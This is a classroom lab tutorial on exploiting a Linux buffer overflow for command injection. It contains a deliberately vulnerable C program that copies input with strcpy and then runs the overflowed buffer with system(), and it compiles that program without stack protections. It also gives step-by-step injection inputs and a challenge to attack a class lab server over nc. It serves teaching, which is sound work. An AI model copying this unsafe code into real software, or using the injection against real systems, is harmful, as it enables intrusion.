Proj 1: Linux Buffer Overflow: Command Injection

What You Need

A 32-bit x86 Kali 2 Linux machine, real or virtual.

Purpose

To develop a very simple buffer overflow exploit in Linux, using injected shell commands.

Creating a Vulnerable Program

This program inputs a name from the user and prints out a "Goodbye" message. It then calls system() to print out the Linux version. It uses two buffers in a subroutine to do that in an unsafe manner, allowing the name buffer to overflow into the command buffer.

In a Terminal window, execute this command: 


nano buf.c
Copy and paste in this code: 

#include <string.h>
#include <stdio.h>

main(){
        char name[200];
        printf("What is your name?\n");
        scanf("%s", name);
        bo(name, "uname -a");
}

int bo(char *name, char *cmd){
        char c[40];
        char buffer[40];
        printf("Name buffer address:    %x\n", buffer);
        printf("Command buffer address: %x\n", c);
        strcpy(c, cmd);
        strcpy(buffer, name);
        printf("Goodbye, %s!\n", buffer);
        printf("Executing command: %s\n", c);
        fflush(stdout);
        system(c);
}

Save the file with Ctrl+X, Y, Enter.

Execute these commands to compile the code without modern protections against stack overflows: 


gcc -g -fno-stack-protector -z execstack -o buf buf.c

chmod a+x buf

Running the Program Normally

Execute this command: 

./buf
Enter your first name when prompted to.

The program prints out the location of the Name buffer and the command buffer, says "Goodbye", and excutes the command "uname -a", as shown below.

Observing a Crash

Execute this command: 

./buf
Enter fifty 'A' characters instead of your name.

The program attempts to execute the command AAAAAAA, as shown below.

Finding the Code Injection Point

Execute this command: 

./buf
Enter: The program attempts to execute the command EEEEEEEEEE, as shown below. So any text we put in place of EEEEEEEEEE will execute.

Executing the "ls" command

Execute this command: 

./buf
Enter ten 'A' characters, then ten 'B' characters, then ten 'C' characters, then ten 'D' characters, then ls

The program executes the "ls" command, showing the files in your working directory, as shown below.

Challenge 1: Long List

Execute the "ls -l" command by entering a crafted name, so it shows file details, as shown below.

Hint

If spaces are annoying you, try this.

Challenge 2: Exploit a Remote Server

Execute this command to connect to a remote server running this program: 

nc attack32.samsclass.info 1055
Then put your name in this file on that server: 

/home/p1x/winners
Create this file: 

/home/p1x/updatenow
After one minute, your name will appear on the WINNERS page here:

http://attack32.samsclass.info/p1x-winners.html

Hint

The injected commands run in the Bourne shell (sh), not the bash shell. You can test commands on your local Mac or Linux box by using the sh command to open a Bourne shell.

Troubleshooting

If you have network problems, you can check the local network connections at this page:

http://attack32.samsclass.info/netstat.htm

That page is updated every 5 seconds.

Sources

I based this on the "pwn1" and "pwn2" challenges in the 2015 SCTF competition.

Posted: 1-6-16 by Sam Bowne
Last revised 2-28-16
ASLR disabling removed 3-31-16